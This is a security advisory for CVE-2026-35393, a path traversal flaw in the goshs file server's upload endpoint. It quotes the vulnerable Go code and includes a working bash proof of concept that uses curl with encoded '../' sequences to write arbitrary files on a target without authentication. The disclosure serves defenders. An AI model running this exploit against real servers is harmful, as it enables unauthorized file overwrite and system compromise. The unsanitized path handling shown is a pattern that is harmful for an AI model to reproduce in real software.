CVE-2026-35393
CRITICAL9.8EPSS 0.06%goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload
Description
### Summary * POST multipart upload directory not sanitized | `httpserver/updown.go:71-174` This finding affect the default configuration, no flags or authentication required. ### Details **File:** `httpserver/updown.go:71-174` **Trigger:** `POST /<path>/upload` (server.go:49-51 checks `HasSuffix(r.URL.Path, "/upload")`) The filename is sanitized (slashes stripped, line 105-106), but the target directory comes from `req.URL.Path` unsanitized: ```go upath := req.URL.Path // unsanitized targetpath := strings.Split(upath, "/") targetpath = targetpath[:len(targetpath)-1] // strips trailing "upload" target := strings.Join(targetpath, "/") filenameSlice := strings.Split(part.FileName(), "/") filenameClean := filenameSlice[len(filenameSlice)-1] // filename sanitized finalPath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, filenameClean) ``` The route requires the URL to end with `/upload`. An attacker uses a path like `/../../target_dir/upload`, the suffix satisfies routing, and the `../..` escapes the webroot. The filename on disk is controlled by the attacker via the multipart `filename` field (after basename extraction). **Impact:** Unauthenticated arbitrary file write to any existing directory on the filesystem. **PoCs:** ```bash #!/usr/bin/env bash # # Example: # ./arbitrary_overwrite2.sh 10.0.0.5 8080 set -euo pipefail HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}" if [ ! -f "$LOCAL_FILE" ]; then echo "[-] Local file not found: $LOCAL_FILE" exit 1 fi # Split target into directory and filename. # The server builds: finalPath = UploadFolder + <dir from URL> + "/" + <upload filename> # So we put the target's dirname in the URL and the target's basename as the upload filename. TARGET_DIR=$(dirname "$TARGET") TARGET_NAME=$(basename "$TARGET") # 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root. # Encoding is required so curl does not resolve the traversal client-side. TRAVERSAL="" for _ in $(seq 1 16); do TRAVERSAL="${TRAVERSAL}%2e%2e/" done # Strip leading / and build path ending with /upload TARGET_REL="${TARGET_DIR#/}" POST_PATH="/${TRAVERSAL}${TARGET_REL}/upload" echo "[*] Source: ${LOCAL_FILE}" echo "[*] Target: ${TARGET}" echo "[*] POST: ${POST_PATH}" echo "" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \ --path-as-is \ -X POST \ -F "file=@${LOCAL_FILE};filename=${TARGET_NAME}" \ "http://${HOST}:${PORT}${POST_PATH}") echo "[*] HTTP ${HTTP_CODE}" echo "[*] File should now exist at ${TARGET} on the target." ``` To execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can` --- ## Recommendations Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.
Affected packages (1)
- Go/github.com/patrickhener/goshsfrom 0, < 1.1.5-0.20260401172448-237f3af891a9
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | CRITICAL9.8 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |